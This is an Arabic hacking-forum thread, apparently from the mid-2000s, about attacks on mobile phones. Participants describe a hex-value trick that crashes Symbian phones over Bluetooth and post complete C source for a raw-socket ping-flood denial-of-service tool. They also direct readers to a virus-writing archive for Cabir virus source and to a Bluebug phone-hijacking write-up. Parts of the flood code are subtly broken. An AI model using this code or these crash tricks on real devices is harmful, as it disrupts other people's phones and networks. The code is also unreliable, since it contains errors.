فايروسات وثغرات الأنظمة الكفية ( الجوال )

برنامج UnMakeSIS.exe

UnMakeSISv0.21.zip

متشكر يامشرف

ورجاء المتابعه بكل ماهو جديد

فى هذه المجالات

و الله الواحد مش عارف يشكرك أزاي على كل المعلومات القيمة الى بتقدمها لينا :)

الله يعطيك العافية يا jaas

الشرح ممتاز

مشكور اخي العزيز jaas

موضوع جميل جدا ...

فلهواتف ( الجوالات ) من ناحيه الحمايه فهي ردييئه .. وتوجد بها الكثير من الاخطاء والمشاكل

ففي تاريخ 2005 اليوم 6 شهر مارس ..

اكتشفت خطء برمجي ضعف في البلوتوث يعمل على اعاده الاجهزه remote فقط بعرف ال nickname للهاتف ...

http://securitytracker.com/alerts/2005/Mar/1013380.html

هذه بعض المعلومات عن الثغره مع ال exploit لاخراج النك نيم ...

طريقه عمله سهله جدا جدا

بأننا نضيف قيمتان hex وهما

 09 0A

بعد وضع النك نيم ... ستضهر في الجوال مسافه .. عاديه ولا كأنها اي شئ .. ويجب ان تضيف بعد القيمه هذه اي حرف

لان جوالات symbian 60 تمسح المسافات الي لاتوجد بعدها حروف او قيم ...

هذه هي الثغره وبساطتها ..

قبل فتره كان عندي سورس كود فايروس كابر سوف ابحث عنه وان وجدته سو افضعه لكم هنا ...

واشكرك اخي jaas على المواضيع الجميله مره اخرى

تحياتي

فعلاً ثغرة رهيبة وذكية ؟!

إضافة قيمتين بالهكس تعيد تشغيل الجهاز ???

الظاهر ان مبرمجي نظام سمبيان لم يعالجو كل شفرات المفاتيح من 0 إلى FF

وإستكفوا بتعريف الأحرف والأرقام الموجودة في الجوال !!

اقتباس

قبل فتره كان عندي سورس كود فايروس كابر سوف ابحث عنه وان وجدته سو افضعه لكم هنا ...

فايروس كاربي ليس فايروس واحد ؟! الذي مر علي 8 أنواع

مثل هذا النوع الذي يضرب أجهزة السيارات ؟!! شوف وين وصلت التقنية

صورة:

-

إذا عندك أي شفرة لأي نوع شاركنا بها ,,,

وفي إنتظارمشاركاتك لأنة مبين عليك خبير :)

وبالتوفيق,,,

jaas كتب:

ثغرة خدمة WAP  في أجهزة الموتورولا T720

هذة الثغرة شبيهة بأول ثغرة درسناها في أنظمة وندوز ؟!  خطأ الفيض في المكدس

http://www.cellphonehacks.com/viewtopic.ph...=asc&highlight=

--

←

السلام عليكم

اخى العزيز بالنسبه لثغره الWAP ليست فيض فى المكدس..

بال هى ثغره من نوع DOs تقوم بارسال packet عن طريق بروتكول مكدس ال tcp\ip فتقوم بغلق

الجهاز عندما الشخص يقوم بالاتصال عبر متصفح الWAP .

واعتقد ان لحد الان لم تظهر ثغره فيض فى المكدس , ولكن لا مانع من ظهورها فى برامج الmobile

مثل برامج الجافا .

وهذا كود ثغره الWAP

#include <stdio.h> 
#include <stdlib.h> 
#include <netinet/in.h> 
#include <netdb.h> 
#include <netinet/ip.h> 
#include <netinet/ip_icmp.h> 

int main(int argc, char *argv[]) { 
if(argc < 2) { 
printf("Usage: %s <host>\n", argv[0]); 
exit(0); 
} 

int sock; 
char packet[5000]; 
int on = 1; 
struct sockaddr_in dest; 
struct hostent *host; 
struct iphdr *ip = (struct iphdr *) packet; 
struct icmphdr *icmp = (struct icmp *) packet 
+ sizeof(struct iphdr); 
if((host = gethostbyname(argv[1])) == NULL) { 
printf("Couldn't resolve host!\n"); 
exit(-1); 
} 

if((sock = socket(AF_INET, SOCK_RAW, 
IPPROTO_ICMP)) == -1) { 
printf("Couldn't make socket!\n"); 
printf("You must be root to create a 
raw socket.\n"); 
exit(-1); 
} 

if((setsockopt(sock, IPPROTO_IP, IP_HDRINCL, 
(char *)&on, sizeof(on))) < 0) { 
perror("setsockopt"); 
exit(1); 
} 

dest.sin_family = AF_INET; 
dest.sin_addr = *((struct in_addr 
*)host->h_addr); 
ip->ihl = 5; 
ip->id = htons(1337); 
ip->ttl = 255; 
ip->tos = 0; 
ip->protocol = IPPROTO_ICMP; 
ip->version = 4; 
ip->frag_off = 0; 
ip->saddr = htons("1.3.3.7"); 
ip->daddr = inet_ntoa(dest.sin_addr); 
ip->tot_len = sizeof(struct iphdr) + 
sizeof(struct icmphdr); 
ip->check = 0; 
icmp->checksum = 0; 
icmp->type = ICMP_ECHO; 
icmp->code = 0; 
printf("Ping flooding %s!\n", argv[1]); 

/* begin flooding here. */ 
while(1) { 
sendto(sock, packet, ip->tot_len, 0, 
(struct sockaddr *)&dest, sizeof(struct sockaddr)); 
} 
return(0); 
}

والله اعلم

شكر لك اخي jaas واخي bigboss1988

اخي jaas كانت عندي السورسات وموجوده في النت بس إن شاء الله عطني وقت واجيبلك اياهم وبحاول اجيبلك غيرهم لو لقيت

انت غالي والطلب رخيص ...

اّسف اخي العزيز jaas على التأخر وهاذا هو الموقع الموجود فيه السورس كود

http://vx.netlux.org/29a/

هو موجود في issue #8 عاد انت وحضك :) لو لقيته في مكان ثاني ... وراح تحصل اشياااء جميله جدا جدا جدا في هاذا الموقع وبلاوي تتكلم عن الفايروسات وصنعها

وغيرها من هذه الاشياء :)

ألف شكر أخي Qnix جاري النبش في الموقع

-

أخي bigboss1988 هل تعتمد على الموقع :)

http://www.securitylab.ru/43275.html

أنا قلت أنها ثغرة فيض لأن الكود واضح في الحجم الخيالي لترويسة ip أكيد ستحدث فيض في

متغير

المهم كل شيء جائز وباب النقاش مفتوح لمن لدية طريقة منطقية لحدوث الثغرة

وبالتوفيق

jaas كتب:

-

أخي bigboss1988  هل تعتمد على الموقع :)

http://www.securitylab.ru/43275.html

أنا قلت أنها ثغرة فيض لأن الكود واضح في الحجم الخيالي لترويسة ip  أكيد ستحدث فيض في

متغير

المهم كل شيء جائز  وباب النقاش مفتوح لمن لدية طريقة منطقية لحدوث الثغرة

←

السلام عليكم

انا ما اعتمد على شىء غير الله :)

حضرتك وضعت موقع الثغره بنفسك http://www.cellphonehacks.com/viewtopic.ph...=asc&highlight=

فهى كانت من نوع الDOS فى بروتكول الTCP/ip انصحك بمراجعت هذا البروتكول

وبالفعل ظهر buffer overflow فى برامج الbluetooth مثل

http://secunia.com/advisories/12275/ ولكن استغلالها لم اراه او لم يكتب لشده صعوبت

كتابته الله اعلم انا بخمن :) لانى سالت عن كتابه الفيروسات للموبايل بالجافا كان الرد

its too hard cuz java is sandBox

نسيت اشكرك يا Qnix على الثغره الجميله ;)

والله اعلم

السلام عليكم

اسف يا جماعه اظاهر انى رديت ب nikename اخويا احمد صالح

فانا اسلام صالح اخوه

بالنسبة لبرنامج UnmaskSis هل يوجد له تحديث او شئ من هذا القبيل لانه لا يعمل على ملفات sis معينة حيث لا يقوم الا باستخراج ملف واحد من كامل الحزمة

هي صفحة فيها ادوات جميله يمكن استخدامها للتنقيح

http://www.symbian.com/developer/downloads/tools.html#unsis

http://www.dalibor.cz/epoc/sisview.htmافضل اداة وجدتها حتى الان:

تحتاج الى WinCommander:

http://www.ghisler.com/download.htm

وطريقة الاسنخدام موضحة في ملف اداة sisview

بالفعل أخي ech0 أدوات رائعة وجديدة !!!!!!

وبالنسبة للبرنامج unmakesis ظهر لة إصدار جديد ولكنة غير كامل

وهذة مجموعة الأدوات ومواقعها ( للتحديث )

http://www.nokiovo.it/utilita/utilita.htm

-

عظيم :)

منذف فتره وجيزه قمت بكتابه موضوع يتحدث عن ثغره Bluebug

لاختراق الهواتف التي تدعم البلوتوث وبروتوكول Object Exchange - OBEX

واعتقد انه هو اول موضوع يتحدث بشكل خاص عنها وطريقه استغلالها

بحثت كثيرا في الكتب والمواقع لم اجد شئ يشرحها بشكل خاص فقط معلومات

بسيطه وما الى ذالك فقمت بكتابه هاذا الموضوع وكيفيه اختراقي لجوالي نوكيا 6600

عن طريقه القناه 9 وهي قناه OBEX Object Push

وصله الموضوع

http://www.0x11.org/bluebug.html

بسم الله الرحمن الرحيم

اخى qnix ارجو منك شرح المزيد حول هذه الثغره التى تقوم باختراق البلو توث

عندي امتحانات هاذا الاسبوع لكن اول ما اتفرغ راح اشرح الي اقدر عليه .

موقع متميز يا Q.. واسمه بعد احلى ;)